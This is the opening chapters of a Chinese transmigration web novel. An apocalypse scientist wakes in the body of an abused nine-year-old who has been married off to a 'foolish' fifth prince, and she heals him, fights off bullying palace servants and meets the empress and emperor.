《九岁小皇妃》
第1章 末世大佬穿成冲喜小皇妃
“啪!啪!”
“谢元棠,你嫁不嫁!”
谢府后院,一道道狠厉的鞭打声从柴房里传出来,伴随着稚嫩的惨叫声。
“莲姨,棠棠好疼……求求你……棠棠不要嫁人,不要冲喜……”
“棠棠才九岁……棠棠想和娘在一起……莲姨求求……”
魏莲冷笑一声,抬脚踹开她的手,啪啪两鞭子抽过去。
破空的鞭打声落下,倒在地上的小身影猛地抽搐了下,疼得缩成了一团。
“小蹄子!想死我成全你!”
“要不是你得替雨沫给那个痴傻五皇子冲喜,你以为你能被接回谢家?”
瘦小的谢元棠浑身是血,蜷在地上小声哭着。
魏莲耐心听了一耳朵,听清她在叫“娘亲”,立刻一鞭子甩在她脸上。
“娘?你不答应冲喜,我就先送你娘上黄泉路!”
鞭痕从脸颊撕裂到嘴角,谢元棠终于不敢再喊娘亲。
“娘,她怎么还没死?”
九岁的谢雨沫推门进来,皱眉嫌恶地捂着口鼻:“好恶心,干脆杀了她算了,反正那个短命鬼五皇子也活不了,等冲喜完她也是个死人。”
谢元棠费力地睁开眼,看着站在她跟前的“妹妹”,谢雨沫。
“妹妹,求求你救救我……”
“救你?”
谢雨沫像是听见了天大的笑话,脸上露出甜美无害的笑容:“好啊,我这就救你。”
说罢,谢雨沫从魏莲手中夺过鞭子,朝谢元棠身上鞭笞过去。
她年纪小没力气,可她坏,几乎每鞭子都抽在谢元棠的脸上。
“就你也配叫我妹妹!”
一鞭子。
“谢家只能有我一个嫡小姐,你算什么东西,敢当我姐姐!我撕烂你的嘴!”
两鞭子。
“跟你娘一样天生的狐媚相,看我在你脸上画个乌龟!让你娘跟我娘抢男人,让你跟我抢爹!”
三鞭子。
谢元棠数不清自己被抽了多少鞭,小脸满是鞭痕,斑驳的血污顺着头发丝流到脸上脖子上,像是从冥河生出的厉鬼。
谢元棠只觉得脑袋越来越重,眼睛越来越撑不开。
好疼……
娘,你在哪里……
不知过了多久,鞭子终于停下,谢元棠听见魏莲的声音:“别跟她浪费时间,直接一碗哑药灌下去,保准她什么话都说不出来。”
哑药?
谢元棠费力地睁开眼睛,就见魏莲端着毒药过来:“识相点喝了这碗药,省得我打你还要费力气。”
谢元棠煞白的小脸惊慌地躲开,哭着挣扎。
“不要……棠棠不要变哑巴,棠棠要跟娘亲说话,不想变成小哑巴!”
她害怕得小身子不住地发抖,闭紧了嘴巴不肯喝。
魏莲脸色一变,抬手一巴掌扇过去,接着狠狠地掐住她的下巴:“这可由不得你!你也不想你娘跟你一块儿死吧?再不喝我就把这碗药端去给你娘,你觉得怎么样?”
娘亲……
眼前闪过娘亲温柔病弱的笑容,谢元棠一僵,魏莲趁势狞笑着将那碗哑药灌进她嘴巴里。
“早答应冲喜不就好了?真是犯贱!”抬脚发泄似的踹了一脚谢元棠,魏莲才转身离开柴房。
一片血泊里,谢元棠用尽力气睁着大大的双眼,不甘地望向门外。
视线的尽头,她看见她的爹爹谢兆青一身官服站在那里。
原来他一直都在。
她看见爹爹满脸慈笑地接住了扑进他怀里的谢雨沫。
“呜呜呜爹爹,谢元棠那个贱人不肯去冲喜,她还骂我~”
谢元棠似乎看见爹爹往这边看了一眼,她用尽最后的力气,沾着血的手指慢慢挪向门口。
【爹爹,棠棠在这里,爹爹救棠棠……】
可是谢兆青只是瞥了一眼就收回视线,抱住谢雨沫哄道:“别管她,爹有的是办法让她替你去冲喜。”
“以前留她一条命本来就是给你挡灾用的,爹的宝贝女儿只有雨沫一个。”
“嘻嘻,爹爹真好~”
一家三口相携离去,谢元棠怔怔看着,眼角流下两行血泪,滑过满是鞭痕的脸颊。
抬起的手指最终无力垂下……
——
嘶,好疼!
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草,怎么浑身都疼!
谢元棠皱紧了眉头,她不是在研究所里研究丧尸基因吗?难不成被丧尸咬了?
呕~
颠得她快吐了!
难道中了丧尸毒素还会感觉到恶心?
“快点,皇后娘娘可吩咐了,得赶在子时前把人扔到五皇子床上去,冲喜这事就算成了。”
皇后?五皇子?冲喜?!!!
不对!
喜轿里,谢元棠猛地睁开双眼。
乌黑的双眸一闪而过冷冽的暗芒,那是九岁的谢元棠绝对不会有的眼神,是从末世丧尸群里杀出来的嗜杀和凉薄。
谢元棠打量着周围,眉头越皱越深。
她为什么会在一个喜轿里?还一身的伤?
这小身子是怎么回事?看起来还不到十岁吧,难道她中毒以后缩水了?
“嗡”
突然大脑一阵嗡鸣,铺天盖地的记忆一瞬间涌入她的脑海,痛得她一脑袋磕在车上。
片刻后,谢元棠终于认清了一个事实。
她穿越了!
穿进了同名同姓,年仅九岁的原主身上。
原主是丞相府的真千金,可惜一出生就被抱错流落在外,反而让谢雨沫这个假千金享受了丞相府嫡女的一切荣耀。
在谢雨沫集万千宠爱于一身的时候,原主正受尽养母刁难,恶奴欺辱。
在谢雨沫可以享用宫中御赐甜品的时候,原主吃的是下人用来喂狗的剩饭。
好不容易被寻回丞相府,和亲娘冷蕴菀相认,却没想到他们只是想利用她,让她替谢雨沫嫁给五皇子冲喜。
原主不肯,他们就用冷蕴菀的性命威胁她,原主被关在柴房鞭打,更是被灌下哑药,最终活活被打死。
谢元棠闭上眼睛仿佛还能看见原主流下血泪的一幕,她缓缓叹了口气,握紧五指。
虽然不知道她为何会穿越而来,但她既然代替了原主活下去,那么就要帮她把该讨的债一一讨回来!
那些欠她的,每一笔,她谢元棠都会让他们十倍百倍地偿还!
正当这时,喜轿忽然停下。
轿外传来老嬷嬷的声音:“到了——”
第2章 不叫娘子叫什么?
轿帘掀开前一瞬,谢元棠果断装昏。
末世生存守则一:打不过就跑,跑不过就苟!
她不了解这个朝代,现在的小身子也才有九岁,还浑身是伤,只能猥琐发育。
打定主意,谢元棠任由老嬷嬷把她抱出轿子,须臾,感觉自己被人放在了床上。
随着“嘎吱”一声房门关上,一切归于安寂。
谢元棠睁开眼。
嗯,一间布置好的喜房,一张喜床,旁边还躺着一个男尸。
要素过于齐全了。
只是这个男尸未免过于俊美,且脸上没有发青凹陷,有些不符合丧尸片的定位。
默默评价完,谢元棠刚想坐起来,胳膊都没撑住整个人就疼得又倒了回去。
疼!
不止鞭伤带来的疼痛,五脏六腑都在疼!
她中毒了?
谢元棠喉咙咽下一口腥甜,苍白的小脸上满是冷汗,眼神却渐渐犀利。
曼陀罗,中毒者几个时辰后才会毒发,从五脏六腑开始,将人的内脏和骨血都一点点馋食干净。
是那碗哑药吗?还是有其他人给原主下了毒?
谢元棠咬紧唇,缓缓忍过那阵剧痛,嘴角噙着一抹冷笑。
她谢元棠既然魂穿过来了,就是老天也要不了她的命!
什么曼陀罗毒,在末世大佬面前统统靠边站!
谢元棠平复着呼吸闭上双眼,意念一动,意识便出现在空间研究所里。
幸好,幸好她能开挂!
末世人类居住的环境已经被丧尸大肆破坏,随身空间这种东西早就不稀罕了。
刚才在轿子里醒来时她专门检查过,末世基地的丧尸研究所都跟着她穿越过来了!
她可爱的丧尸们,此刻正齐整整地站在研究所门口,“欢迎”她回家!
谢元棠走进研究所,先拿上她惯用的银针,又从玻璃柜里取出一小瓶药,几支营养液。
拿完东西一回头,就看见她可爱的丧尸们正排着队等她吩咐呢。
谢元棠走过去把丧尸一号的脑袋拔下来再装回去,拆下丧尸二号的胳膊塞进三号的嘴里。
“真乖,回头给你们吃点好的哟~”
丧尸们齐齐打了个哆嗦,他们最怕的就是谢元棠这句话,整个末世谁不知道谢元棠就是个变态!
她所谓的吃点好的,其实比死还恐怖。
哦不对,他们已经死了。
做完这些,谢元棠刚想再回解剖室一趟,没想到意识忽然一阵模糊,整个人已经出了空间研究室。
谢元棠叹了口气,这具身体还是太弱了,意识没办法离开太久,好在药拿出来了。
她打开药瓶,从里面拿出解毒丸和营养液吞下。
解毒丸连丧尸毒变异植物神经毒都能解,更别说如今体内的小毒了。
营养液顺着经脉修补着她身上的鞭伤,不出片刻,便已经能感觉到身上的伤开始从内结痂了。
谢元棠低头看了眼剩下的营养液,这些外伤只要再喝两支就能全好。
可惜,她目前留着这伤疤还有用。
毕竟报仇的时候,还要一一对照,万一她哪一鞭子少打了,或者打歪了,都得补回来的!
她!谢.完美主义者.元棠!
谢元棠下床跳了两下,满意地抬了抬自己的小短腿:“毒解了,伤也好了一大半,也能说话了,这么好听的声音要是哑了可就太可惜了!”
顿了顿,她冷哼一声:“不过魏莲的声音太难听了,还是毒哑了安静些!”
不过这些是以后的事,现在么……
谢元棠将目光移向床上那具“男尸”。
想起魏莲说的话,看来这个就是她要冲喜的对象了——五皇子司徒砚。
年十八,天生痴傻,疯病发作时杀人嗜血,如同凶兽。
谢元棠回忆着原主记忆中关于司徒砚的传闻,有些疑惑地戳戳他的脸:“长这么好看,看起来不像啊。”
咦?
谢元棠看看自己的手指,体温温热,还没死透?
没死透就是还有救,谢元棠可没忘记谢家人说的话,她是来冲喜的,要是司徒砚死了,她这条小命也得跟着陪葬。
谢元棠心思快速转动,小手把着司徒砚的脉象,眉头却越皱越紧。
这司徒砚比她的情况还复杂,体内好几种陈年剧毒叠加在一起,甚至还有神经毒素,怪不得说他又傻又疯,他能活到现在简直是奇迹。
她救自己都只用了一颗解毒丸和一支营养液,现在为了救司徒砚,干脆把
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剩下的解毒丸和营养液都怼进了他嘴里。
又用银针封住他脏腑,将心脉处的毒牵引到肋下。
半个时辰后,谢元棠擦了擦额头的汗,气喘吁吁道:“连解毒丸都只能暂时分解你体内的一部分毒,你说你到底得罪了什么人啊?我家丧尸都没这么毒。”
“得亏你遇着我,算你命大!”
做完这一切,谢元棠疲惫地躺回床上,眼前一阵阵发晕。
好在暂时是死不了了,谢元棠睁着眼躺在床上,开始盘算自己接下来要做的事。
仇是一定要报的,还要把娘亲冷蕴菀从谢家接出来。
可是……
谢元棠低头看着自己藕节似的小胳膊小手。
如果她是十几二十岁,有的是办法做这些事,但她现在只有九岁。
没有人会听一个九岁孩童的话。
谢元棠目光微垂。
她需要一个身份,一个能和谢家相抗的身份。
谢元棠低头看了眼身上的嫁衣,再扭头看看昏睡的司徒砚,嘴角微微勾了起来。
眼下这个“五皇子妃”的身份就很合适。
心里胡乱想着,耗神过度的谢元棠慢慢入睡,临睡过去前她还在迷迷糊糊想着,傻子夫君明天就该醒了,不知道他是怎么个“傻”法,总不能比她的丧尸还难哄吧?
……
翌日。
“唔……好痒……”
睡梦中的谢元棠忽然嘟囔了声,伸出小手揉了揉眼睛。
下一秒,睫毛又呼扇呼扇的,好像有根羽毛在不停骚扰她,又轻又痒。
“困……羽毛走开……”
谢元棠抬手去抓“羽毛”,冷不防抓住一根修长的手指,骤然一个激灵睁开了眼。
“娘子,你醒啦!”
一张放大的俊脸忽然出现在她眼前,谢元棠愣了下,才认出这是她的傻子夫君司徒砚。
而那根在她睫毛上作乱的羽毛正是他的手指!
“不许叫我娘子!”
谢元棠瞪了他一眼,却不知道乌溜溜的大眼睛一点威慑力都没有,反而可爱得很。
“不叫娘子叫什么?”
司徒砚眨巴着桃花眼,歪着脑袋想了想,灵光一闪道:“媳妇儿!”
“……”
第3章 也不打听打听,五皇子府谁是天
谢元棠拍下他的手指,没好气地问:“你方才在干嘛?”
原来他就是那根羽毛,扰她清梦。
“娘子好看,长长的,像扇子。”
她脸上都伤成那样了,他竟然还觉得她好看?
谢元棠觉得好笑,没想到这傻子夫君虽然傻了点,倒也不让人讨厌。
她指指旁边,哄小孩似的:
“你乖哦~上旁边玩会儿,我要洗脸。”
全然忘了自己现在也是个小孩子。
司徒砚乖乖“哦”了一声,乖得像只大狗狗,坐在床边,巴巴望着谢元棠。
谢元棠跳下床,走到洗漱架旁边。
一抬头,看着那比她还高的脸盆和毛巾,谢元棠顿时萎了。
可恶!
忘了她现在只有九岁了!
她再也不是末世大佬棠了,而是一个连毛巾都够不到的小豆芽!
到底谁家毛巾挂这么高啊!
谢元棠气得跺脚,看着那高高挂在头顶的毛巾,原地一个起跳!
靠!
她竟然拽不到!
谢元棠悲愤愈加,一旁的大狗狗司徒砚看见她一系列动作,突然歪了歪头看着她,眼中满是清澈的疑问:“娘子学兔子,是想长高高嘛?”
谢元棠没好气地哼了声:“想就能吗?”
“能啊。”
司徒砚笑着歪歪头,忽然伸出手托住谢元棠的腿,将她抱了起来:“这样就高啦!”
司徒砚一手抱着人,另一只手指了指毛巾,雄赳赳气昂昂地说:“娘子,够它!”
“……”
在司徒砚的协助下,谢元棠终于洗漱完。
就在她去衣柜里找衣服的时候,司徒砚不知道跑去了哪里。
等谢元棠换好衣服,一回头就看见司徒砚做贼似地跑进来,一双明媚的桃花眼心虚地到处乱瞅。
谢元棠狐疑地看他:“你干嘛?”
司徒砚神秘兮兮地从怀里掏出个馒头,往谢元棠手里塞:“娘子快吃,吃完饱饱。”
谢元棠低头看着手里皱巴巴的馒头,再看看他亮晶晶的桃花眼,合理怀疑他是拿她当小动物投喂了!
正想问清楚他馒头是哪来的,还没谢元棠等开口,忽然听见门外传来一阵嘈
杂声。
“傻子!给我滚出来!
下一秒,“哐当一声,房门被人一脚踹开!
“傻子!你竟然敢偷东西!
“咱家今日非要好好管教你不可!
一个胖太监趾高气昂地闯进来,指着司徒砚尖声大骂。
在他身后,还跟着两个小厮,阴阳怪气地说:
“五皇子,都跟您说过到了中午就会给您吃饭,您可倒好,竟然敢跑进厨房偷馒头!
“您说您怎么就不听话呢?这不,杜总管和咱们只能奉命管教您了。
谢元棠越听小脸就越沉,她最讨厌进门不敲门,和叽里呱啦说个不停。
这些人,双buff叠满了!
谢元棠揉了揉太阳穴,大吼一声:
“全给我闭嘴!
扯着司徒砚的袖子,一步从他身后走出来。
谢.大佬.元棠内心的她的样子:冷冽霸气,声音杀人!
实际上,众人眼中,谢.九岁小豆芽.元棠的样子:稚声稚气,娇糯可爱。
“咦?
杜韦等人才看见司徒砚身旁还跟着个小身影。
杜韦上下打量着谢元棠,目光在她脸上的鞭伤处停留了几秒,忽然嗤笑一声道:“我当谁呢,原来是我们的小皇妃啊。
谢元棠站在那里,身高只到司徒砚的腰间,面黄肌瘦,脸上新旧伤疤纵横交错。
端是一副活不久的病秧子样!
“哎哟,小皇妃在瞪咱家呢!是想吃饭,还是想喝奶呀?
“只可惜~咱家可没有奶给你喂呢……
杜韦瞧着兰花指,脸上的肉笑得直抽。
“就她,还小皇妃?
“我看是小豆芽菜吧!
旁边的两个小厮正笑得前仰后合。
“就我,怎么?
谢元棠眼神微冷:“你又是什么品种的狗,也敢在我门前乱吠!
仗势欺人到她家门口,是他们太飘了还是当她谢元棠提不动刀了!
上一次敢这么做的人,现在尸体还在她解剖室里陈列着呢!
明明嗓音听起来稚嫩无比,却带着不容人忽视的压迫。
杜韦下意识后退了一步。
反应过来自己
竟被一个小不点吓到,顿时脸色铁青,一巴掌拍在小厮头上。
“蠢货,还愣着干什么?五皇子德行有失,还不快去好好教育教育,皇上若是怪罪下来,咱家可担当不起!”
谢元棠上前一步,小胳膊坚定地拦在司徒砚跟前:“我看谁敢!”
杜韦皮
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笑肉不笑。
“不知天高地厚!”
“也不打听打听,这五皇子府,到底谁是天!”
一旁两个小厮眼疾手快,猛地上前踹了司徒砚一脚,拖着他就往外。
司徒砚不知是被这样对待惯了还是怎的,自打这些人闯进来就白了脸,僵着不敢反抗,任由他们拖拽。
谢元棠眼一厉。
反应极快,一瞬间就朝那小厮就踢了过去!
“唰!”
一脚过去,精准地踢中了……空气!
——腿太短了。
“嘎???”
一屋安静。
每个人动作都暂停了一般,所有人视线齐齐望向谢元棠的……小短腿。
谢元棠不敢置信地看着自己的腿,都绷成一条直线了,和那小厮中间都还隔着一米距离。
小厮衣服上的线头都没晃一下!
两个小厮都愣了下,继而放肆嘲笑:
“啊哈哈哈哈哈!”
“小皇子妃这是要作何?给咱们跳舞看吗?”
妈的!
又忘记她缩水这件事了!
谢元棠懊恼地跺了跺脚,她末世大佬棠就没这么丢人过!
就趁着这会儿功夫,司徒砚已经被人拖到门口,按着跪在杜韦面前。
杜韦满意地看着他,抬手拍狗似的拍拍他的脑袋:“这才乖。”
高大的身体微微颤抖,司徒砚低着头,无论那人怎么踢他踹他,始终弓着腰,护着怀里的东西。
视线扫过他怀里的馒头,杜韦满脸恶笑:“殿下想吃馒头啊,老规矩,给咱家磕两个响头,咱家就给你!”
“总管您真是太善良了!”
小厮拍着杜韦的马屁,一伸手粗暴地“啪啪”拍打他的脸:“还不赶紧磕头谢恩?今天不想吃饭了是吧?”
看着这一幕,谢元棠心头火“噌”就窜了起来!
傻夫君再傻也是她谢元棠的人,何况他长得那么俊!
这些人竟敢打他的脸!
“该、死!”
意念一动,手中银针疾射而出。
杜韦后颈一疼,立刻抬起了头,左右乱看。
“谁!是谁!”
谢元棠脸上挂着无辜的天真,大眼睛里带着抹蔫儿坏的笑,稚声稚气地惊讶:
“哇塞!天降正义啦!”
“天啦撸杜总管你流了好多鼻血哇!哎呀不好了,杜总管快要死啦!”
第4章 夫君抱抱~
杜韦一摸鼻子,果然一手的血,连忙尖着嗓子喊:“快,快扶着咱家!”
“来人呐,快传御医!”
两个小厮顿时顾不上司徒砚,一个跑上前扶着杜韦,一个跑出去找人。
谢元棠冷笑一声,眼疾手快地跑过去拉司徒砚:“起来。”
“娘子……”
司徒砚怔怔抬起头,那双桃花眼里没有痛苦,没有恐惧,什么都没有。
谢元棠抿了抿唇,小手揪住他的袖子,脆声声道:“站直,谁也不许跪!”
“他们让我跪,也不跪吗?”
“谁也不跪。”
“……哦。”
司徒砚缓缓咧开嘴角笑了,点点头,听话地站起身。
高高大大的一只,乖顺地跟在谢元棠身后,像一只温柔乖顺的大狗。
站在谢元棠的角度,刚好看见他脸上的巴掌印,顿时更气了,一转头瞪着杜韦,奶凶奶凶地:“连傻子都欺负,你死不死啊!”
杜韦捂着鼻子,居高临下看着她,狞笑道:“这话说的,咱家可是奉命在劝诫五皇子呢。”
“让他跪着给你劝诫吗?”
“咦?什么下跪?小李子,你看见吗?”
扶着杜韦的小李子连声赔笑:“哪有下跪啊,总管和奴才们刚才只是在跟殿下开玩笑。”
“小皇子妃,您听见了?”
杜韦有恃无恐,认定了谢元棠不能拿他怎样。
“开玩笑?”
谢元棠挑了挑眉:“那我现在打你一巴掌,是不是也在跟你开玩笑呢?”
说着,她愤怒地走上前。
这一次她总算没忘记自己只是个小豆芽菜,所以冲过去的同时清呵一声,借力起跳!
半空中,果断地挥出小手,一巴掌扇过去!
她就不信她站着打不到,跳起来还打不到他!
“啪!”
……又小又软的一巴掌,轻飘飘盖在杜韦的下巴上!
众人:“……”
乌鸦从头顶飞过,周围一阵安寂。
谢元棠低头看着自己的小手。
靠!
够不着就算了,这力气是给敌人挠痒痒嘛!
谢元棠气得脸都红了。
前世今生
两辈子,她末世大佬的脸面在今天算是丢尽了!
偏偏她的傻夫君还在旁边鼓掌,兴奋助威:“打到了!打到了!娘子好厉害!
谢元棠:“……
“哎哟喂!皇子妃这一耳光打得奴才可真疼啊!
对面的杜韦不屑地嗤笑,声音满是嘲讽:“咱家还当是被蚊子给叮了呢!
他身旁的小李子也捂着脸,讥笑道:
“可不是,皇子妃打人真是太疼了!
“哎哟奴才这脸都抽筋了呢!笑抽的!
谢元棠气得跺脚,忽然一转头看着比她高的司徒砚。
司徒砚歪歪头跟她对视,眨眨桃花眼:?
末世大佬棠短暂地矜持了一秒钟,最后果断抬起头朝傻夫君甜甜一笑,伸出藕节似的小胳膊:
“夫君,抱抱~
司徒砚眼睛一亮,恍然大悟:“娘子长高高!
这个他知道!
“不是长高,是开团!
“辅助快点就位啦!
司徒砚“哦了声,虽然听不懂,还是伸出手托住谢元棠的腿,将她抱了起来:“高了!
他比杜韦高得多,谢元棠被他抱着,一时间甚至能跟杜韦平视。
还是这种高度舒服!
谢元棠满意地朝司徒砚比了个大拇指:“做得好辅助,接下来该我showtime了!
她扭过头看向杜韦,撸起袖子叉着腰,笑得像个邪恶的小魔女,伸出一个手指,稚声道:
“胖太监,快把你的胖脸伸过来,姑奶奶请你吃点好的!
司徒砚学着她的动作,也朝杜韦伸出中间的手指头:“对,胖脸伸过来,给娘子吃!
杜韦看着两人的手指,虽不懂,但莫名觉得那姿势是对他莫大的挑衅和侮辱!
“好好好,咱家今日定要好好管教你们!
“小李子,给咱家拿竹鞭来!
谢元棠冷哼一声,哪里还会再给他时间,瞅准机会就让司徒砚冲了过去。
“呀呀呀~看我左勾拳!右勾拳!
“你谢祖宗在此!赏你吃个满汉拳席!
两条小胳膊几乎挥出了残影!
在杜韦还没反应过来之前,每一拳都飞快地,精准
地,揍在他脸上脖颈上各处穴位!
真正三分力,十分痛!
保证你疼够半个月,童叟无欺!
“啊啊啊混蛋!咱家打杀了你!”
杜韦睁着被捶出来的熊猫眼,抬手就朝谢元棠扇过去。
“娘子小心!”
司徒砚脸色一变,下意识就想替谢元棠挡,却不想谢元棠等的就是这个时候。
手中捏紧了枚银针,在杜韦胳膊挥过来时,深深地刺进他的麻筋里!
“嗷嗷嗷嗷救命啊!”
杜韦哀嚎着,颤着胳膊就往后退。谢元棠立刻指挥她的辅助,不,她的夫君追上去。
“辅助快上!踩他脚啊!”
“踹他裆!对对对,就是这样……”
“啊啊啊来人!快来人啊!”
杜韦被追着打,刚
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才有多横,现在就有多惨。
最后连滚带爬地逃了出去。
谢元棠这才气喘吁吁地让司徒砚放她下来。
她这小身板真是弱,看来得好好补补,省得以后干架都干不了。
再看眼坐在她旁边的傻夫君,人虽然傻,但体力是真好,瞧瞧抱着她打了那么久,这会儿竟然大气都不喘一下!
“娘子,他们跑了。”
司徒砚跑到门口看了眼,确定杜韦他们真的跑远了,才将捂了半天的馒头掏出来:“娘子快吃。”
谢元棠此刻再看那个皱巴巴的馒头,心里更是五味杂陈:“他们以前不给你吃饭吗?”
司徒砚摇摇头:“中午才吃,早上没有。”
谢元棠蹙了蹙眉,她料想过司徒砚的处境不会好,但也没想到会差到这个地步。
区区一个太监都敢破门而入,因为一个馒头就对他随意打骂虐待。
这五皇子府竟如此主仆颠倒吗?
再想到刚才司徒砚在杜韦进来后就瑟瑟发抖,可见平日里没少被欺负。
毕竟府中就这么一个傻主子,还随时可能会犯疯病,没有下人会尽心尽力照顾他,甚至还会逮着一切机会欺辱他。
谢元棠叹了口气,她需要五皇子妃这个身份,那就注定了要跟司徒砚绑在一块儿。
一荣俱荣,一损俱损。
只有司徒砚这个五皇子拿得出手,她皇子妃的名
头才更有用。
更何况,她谢元棠向来最是护短。
前世哪怕只是个丧尸,只要挂了她谢元棠研究所的牌子,那也容不得别的丧尸欺负。
何况司徒砚这么大一个“俏夫君”呢!
谢元棠心里打定主意,让司徒砚自己拿好馒头:“不吃了,等会儿带你吃好的。”
“吃好的?”
司徒砚咽了口口水,肚子应景的咕噜一声,正想问吃什么好的,门外就再次传来杜韦的声音。
“殿下,奴才能进来吗?”
恭敬谦卑,和方才的尖酸刻薄判若两人。
“还敢来?”
谢元棠面色一冷,正要发怒,就看见杜韦领着一个嬷嬷走进来。
桂嬷嬷打量了眼坐在那里的两人,少年面红齿白,眉目清俊,女孩满脸伤痕,却双眸乌亮,炯炯摄魄。
怎么看也不像是将死之人。
这冲喜……果真成了?
桂嬷嬷目光微闪,朝两人行礼:“奴婢见过五殿下和皇子妃。”
“宫里一直记挂着殿下的安危,既然殿下和皇子妃无恙,便随奴婢入宫一趟吧。”
“皇子妃既是新妇,照规矩今日要入宫敬茶,皇上和娘娘都等着呢。”
第5章 夫君帮棠棠偷来的早饭
两辆马车前后而行。
谢元棠和司徒砚坐一辆,两人都已经重新梳洗打扮过,各是一身锦绣华裳,天潢贵胄。
要不是谢元棠亲眼看见过杜韦是怎么欺负司徒砚的,此刻说不定还真被骗过去了,以为皇家对他还算不错。
谢元棠看向自打见到桂嬷嬷以后,就紧张得一直抠手指的司徒砚,小声问他:“你害怕什么?皇后和桂嬷嬷对你不好?”
司徒砚呆呆地想了片刻,摇头:“她会给我新衣服,给我好吃的,是好人。”
“那你为什么怕?”
“皇后……会查功课,我答不好,会罚写大字,写不好不能出来……”
他声音越来越低,谢元棠眯了眯眼,抓住了关键字:“不能出来?”
司徒砚脸色有点白,手指微微颤抖:“黑房子,很可怕……”
黑房子……
谢元棠目光微暗。
从知道冲喜这件事跟皇后有关后,她心里对这位高高在上的皇后就有些抵触。
别的不说,把一个头脑不健全的人关在幽闭的环境中,只会让他更失控。
这位皇后……
见他神色不对,谢元棠小手握住他冰凉的大手:“不用怕,今天你不会进黑房子的。”
司徒砚紧张地望着她:“真的?”
“嗯,我保证。”
看着那双雪亮的黑眸,司徒砚渐渐平静下来。
谢元棠心思急转,一边安抚司徒砚一边问他:“你父皇呢?他不帮你?”
司徒砚头更低了。
“父皇……很凶……我笨,父皇不喜欢……”
“那其他人呢?”
谢元棠抓紧时间又问了宫里其他人,她得多了解一些,才能做好应对。
司徒砚虽然辨不清好坏,但越是单纯,越能够本能地察觉到善恶,比起那些虚伪的大人,谢元棠更愿意相信司徒砚的本能。
等差不多对宫里的情形有了些了解以后,马车刚好停在宫门前。
这还是谢元棠第一次走进皇宫这样的地方。
她没忘记自己只是个九岁小女孩,一路上都恰如其分地扮演着小女孩该有的兴奋和好奇。
“哇,这花开得可真好看,夫君咱们去摘!”
“哎呀好大的假山啊夫君咱们去爬山!”
“哇还有河……”
桂嬷嬷看着上蹿下跳的两人不耐烦催促:“殿下皇子妃咱们还是快些走吧娘娘还等着呢。”
“哦。”
谢元棠应了声没错过桂嬷嬷眼中那丝嫌恶。
身旁司徒砚悄悄握了握她的手指小声道:“娘子喜欢我偷偷带你来。”
谢元棠微怔笑了。
到了惠坤宫本以为既是新妇敬茶皇帝应该也在场没想到进去后才发现只有皇后在。
谢元棠跟着司徒砚行礼没等跪下就被一道慈爱又不失庄重的声音止住:“快别跪了可怜见的孩子快过来给本宫瞧瞧。”
谢元棠下意识抬头这才第一次看清皇后的样子。
三十多的样子容貌清瘦却不失端庄眉眼间威严不减这让她就算想要慈爱一些
谢元棠眨眨眼露出九岁小女孩该有的笑容脆生生道:“谢元棠见过皇后娘娘。”
若是忽略她脸上的鞭伤这张小脸倒很是天真烂漫明媚讨喜。
姜皇后有些惊讶没想到谢家这个女儿倒是生了一双极好的眼睛。
“好孩子多亏了你阿砚才能度过这次难关。”
姜皇后拍拍谢元棠的胳膊将目光转向一旁拘谨胆怯的人:“阿砚感觉如何?”
“我……很好啊。”司徒砚迷茫地看她一眼又怯生生低下头去。
姜皇后目光微闪笑着道:“还是要太医看看更妥帖些等见过你父皇本宫便让沈太医来给你瞧瞧你身子好了我跟你父皇也能安心些。”
司徒砚不敢说不只犹豫着道:“……能不能不喝苦苦的药?”
“又任性了你这呆症不喝药难道想一辈子当个傻子不成?”
姜皇后叹息一声皱起眉声音严厉了许多:“往日里你疯傻便罢了如今你可是娶妻的人了就算不怕元棠跟着你被人耻笑难道也不怕你万一犯了疯病伤到她吗?”
司徒砚顿时一僵脸色煞白讷讷地看着谢元棠说不出话来。
谢元棠眨了眨眼一脸无辜地望着姜皇后:“夫君不傻呀夫君很好对我也很好呢。”
“是吗?”
姜皇后别有意味地笑了:“那本宫怎么听说你昨儿还不愿嫁给砚儿呢?”
谢元棠拉住司徒砚的手扬着无邪的笑稚声稚气道:“那是因为没人告诉我我不知道夫君是这么好的人啊。”
听见她的话司徒砚桃花眼顿时亮晶晶的:“娘子更好!”
姜皇后看着一高一低两人目光暗了暗但转瞬又恢复慈笑:“听说今日你跟府上的人起了些争执?”
司徒砚点点头瘪着嘴道:“他们不
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给我馒头。”
“身为皇子跟下人抢馒头成何体统?他们管教你是对的。”
姜皇后语重心长道:“阿砚他们都是本宫精心挑选的人都是为你好你要多听他们的话才是。”
“还有你们父皇日理万机政务繁忙
司徒砚乖顺地点点头谢元棠心中嗤笑她就说为什么敬茶敬茶非要先在皇后面前过一圈原来是在这儿等着他们呢!
可惜
她偏偏不想让她如愿!
姜皇后还想叮嘱些什么忽听外面太监高声道。
“皇上驾到——”
“太傅大人到——”
太傅?
今日不是给皇上和皇后敬茶吗?怎么还有个太傅?
谢元棠有些疑惑还不等她问问司徒砚这个太傅是谁就已经听见了外间的脚步声。
顷刻明黄的衣角转进厅中殿中立时跪倒一片。
等听见那声叫起谢元棠才抬起头。
皇帝年过四十司徒砚说他很凶看起来也确实如此眉间紧拧即使是放松的状态也依然横眉冷目。
他身后跟着一个中年男子锦衣长袍。
一张脸竟和司徒砚有六分像!
谢元棠有些惊讶悄悄抠抠司徒砚的手以口型道:“他是谁啊?”
却见司徒砚皱了皱脸小声回她:“我……舅舅。”
舅舅?
司徒砚竟然有个当太傅的舅舅刚才在车上他怎么半个字都没说?
是对他不好?
那今天这敬茶可不就是场鸿门宴了?
如果真是这样那她就更要先下手为强了。
谢元棠心里快速思索着进来的两人已然坐下。
两人一坐下目光毫不意外都落到了司徒砚——旁边的谢元棠身上。
察觉到两人的视线谢元棠眨了眨眼丝毫不怯。
她谢元棠末世横行数十载除了美貌和武力最不缺的就是胆量了!
睁着圆溜溜的大眼睛扬着小脸九岁的棠笑得又软又甜稚声道:
“棠棠给父皇请安见过舅舅!”
说话间刚要跪下行礼。
忽然“骨碌碌”的响声传来。
一个又脏又皱的馒头从谢元棠袖子里滚落到地上。
姜皇后只觉得心头一紧就听见身旁的皇上冷声问道:
“这是什么?”
谢元棠小心翼翼地捡起馒头声音糯糯的带着两分怯可怜巴巴道:“回父皇是夫君帮棠棠偷来的早饭。”
第6章 炸毛小火鸡
“偷来的?早饭?”
每个字都明白易懂,但放在一块儿就让人觉得匪夷所思。
皇上皱紧了眉头:“什么叫偷的早饭?皇子府没给你们早饭吃?还用得着偷?”
“元棠,你年纪小可莫要胡说。”
